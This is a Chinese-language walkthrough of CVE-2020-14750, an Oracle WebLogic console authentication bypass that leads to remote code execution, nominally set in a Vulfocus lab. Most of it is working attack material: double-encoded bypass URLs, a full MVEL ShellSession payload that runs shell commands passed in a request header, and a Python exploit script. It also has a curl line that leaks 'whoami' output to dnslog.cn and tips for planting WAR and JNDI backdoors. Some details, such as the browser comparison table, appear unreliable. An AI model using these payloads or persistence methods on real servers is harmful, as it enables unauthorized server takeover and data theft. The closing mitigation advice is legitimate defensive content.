CVE-2020-14750漏洞深度解析:从认证绕达到命令执行的完整攻击链
当WebLogic的控制台成为攻击者的后门,一场关于权限边界的攻防战就此展开。CVE-2020-14750不是简单的漏洞复现案例,而是展现了现代中间件安全中认证机制被突破后的连锁反应。本文将带您穿透表象,揭示三种截然不同的URL构造如何突破认证边界,最终实现远程代码执行的全过程。
漏洞背景与影响范围
Oracle WebLogic Server作为企业级Java应用服务器的代表,其控制台组件承担着关键的管理职能。2020年10月曝光的CVE-2020-14750漏洞,本质上是早前CVE-2020-14882补丁的绕过方案。这个漏洞的特殊之处在于:
- 攻击门槛极低:无需任何身份凭证
- 影响范围广泛:涉及多个长期支持版本
- 危害程度严重:直接导致服务器完全沦陷
受影响的具体版本包括:
| WebLogic版本号 | 发布年份 | 是否LTS |
|---|---|---|
| 10.3.6.0.0 | 2011 | 是 |
| 12.1.3.0.0 | 2016 | 是 |
| 12.2.1.3.0 | 2018 | 是 |
| 12.2.1.4.0 | 2019 | 是 |
| 14.1.1.0.0 | 2019 | 否 |
这个漏洞的CVSSv3评分高达9.8,属于"网络可打、无需权限、无需交互"的三无高危漏洞。攻击者只需要向目标服务器发送精心构造的HTTP请求,就能完全控制WebLogic实例。
环境准备与靶场搭建
为了安全地研究这个漏洞,我们使用Vulfocus提供的靶场环境进行实验。这个Docker化的环境完美复现了存在漏洞的WebLogic实例:
# 拉取vulfocus镜像 git clone https://github.com/fofapro/vulfocus.git cd vulfocus # 启动环境(确保已安装docker-compose) docker-compose up -d环境启动后,访问http://[靶机IP]:7001/console应该能看到WebLogic登录页面。值得注意的是,这个漏洞的利用不依赖于后台账号密码,但部分利用链需要先登录才能触发。
实验环境的关键组件:
- 攻击机:Kali Linux 2023
- 靶机:Vulfocus WebLogic 12.2.1.3.0
- 工具集:
- Burp Suite Community 2023
- Firefox/Chrome浏览器
- curl命令行工具
- DNSLog平台(用于外带验证)
三种认证绕过路径剖析
漏洞的核心在于WebLogic对URL路径处理的逻辑缺陷。我们发现了三种截然不同的绕过方式,每种都揭示了中间件处理HTTP请求时的不同弱点。
方法一:路径穿越编码绕过
这是最经典的利用方式,通过双重URL编码实现路径穿越:
http://target:7001/console/css/%252e%252e%252fconsole.portal这个payload的精妙之处在于:
%252e是.字符的二次编码(%25解码为%,%2e解码为.)%252f同理是/的二次编码- 组合起来形成
../的穿越效果
不同浏览器的处理差异:
| 浏览器类型 | 绕过效果 | 原因分析 |
|---|---|---|
| Firefox 78+ | 成功 | 自动解码二次URL编码 |
| Chrome 85+ | 成功 | 保留原始编码发送 |
| Edge 44+ | 失败 | 自动规范化URL路径 |
| Safari 13+ | 失败 | 严格的安全策略限制 |
方法二:参数注入绕过
当直接路径穿越被拦截时,这个参数注入方式往往能出奇制胜:
http://target:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=DomainConfigGeneralPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29关键参数解析:
_nfpb=true:触发后台功能标志_pageLabel:指定管理页面handle:通过JMX接口操作MBean
这种方法利用了WebLogic控制台的功能参数组合,通过合法的参数传递实现未授权访问。
方法三:HTTP方法转换
某些防护设备只检测GET请求,此时改用POST方式可能绕过检测:
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: target:7001 Content-Type: application/x-www-form-urlencoded Content-Length: 1364 _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();\x0d\x0aweblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();\x0d\x0ajava.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\");\x0d\x0afield.setAccessible(true);\x0d\x0aObject obj = field.get(adapter);\x0d\x0aweblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod(\"getServletRequest\").invoke(obj);\x0d\x0aString cmd = req.getHeader(\"cmd\");\x0d\x0aString[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\x0d\x0aif (cmd != null) {\x0d\x0a String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next();\x0d\x0a weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod(\"getResponse\").invoke(req);\x0d\x0a res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));\x0d\x0a res.getServletOutputStream().flush();\x0d\x0a res.getWriter().write(\"\");\x0d\x0a}executeThread.interrupt();这个POST请求通过自定义header传递命令,利用MVEL表达式注入实现RCE。
从绕过到RCE:完整攻击链构建
认证绕过只是第一步,真正的威胁在于如何将未授权访问升级为代码执行。我们通过以下步骤构建完整攻击链:
信息收集阶段:
# 确认WebLogic版本 curl -I http://target:7001/console/login/LoginForm.jsp # 检查补丁状态 curl http://target:7001/console/css/%252e%252e%252fconsole.portal -v权限维持技巧:
- 通过
DeploymentService上传war后门 - 修改JNDI树植入持久化后门
- 添加恶意JMS监听器
- 通过
命令执行实战: 使用DNSLog平台验证漏洞存在:
curl -X POST http://target:7001/console/css/%252e%252e%252fconsole.portal \ -H "cmd: nslookup $(whoami).dnslog.cn" \ --data-raw '_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = ...")'完整的Linux系统命令执行流程:
import requests payload = '''weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; if (cmd != null) { String result = new java.util.Scanner( java.lang.Runtime.getRuntime().exec(cmds).getInputStream() ).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req); res.getServletOutputStream().writeStream( new weblogic.xml.util.StringInputStream(result) ); res.getServletOutputStream().flush(); res.getWriter().write(""); } executeThread.interrupt();''' headers = { 'cmd': 'id;uname -a', 'Content-Type': 'application/x-www-form-urlencoded' } response = requests.post( 'http://target:7001/console/css/%252e%252e%252fconsole.portal', headers=headers, data=f'_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("{payload}")' ) print(response.text)
防御策略与缓解措施
面对这种高危漏洞,我们建议采取分层防御策略:
紧急缓解方案:
- 限制
/console路径的访问IP - 禁用T3协议(非必要情况下)
# 连接过滤器配置示例 weblogic.security.net.ConnectionFilterImpl * * 7001 deny t3 t3s- 限制
长期加固建议:
- 遵循最小权限原则配置WebLogic
- 启用管理通道加密
- 定期审计MBean操作日志
补丁管理流程:
graph TD A[监控Oracle安全通告] --> B{漏洞影响评估} B -->|是| C[测试环境验证] B -->|否| D[风险接受] C --> E[制定回滚方案] E --> F[生产环境部署] F --> G[验证补丁效果]
真正的安全不在于修补单个漏洞,而在于建立持续的安全运维体系。WebLogic这类中间件的安全性,既取决于厂商的及时响应,更依赖于使用者的安全意识和运维水平。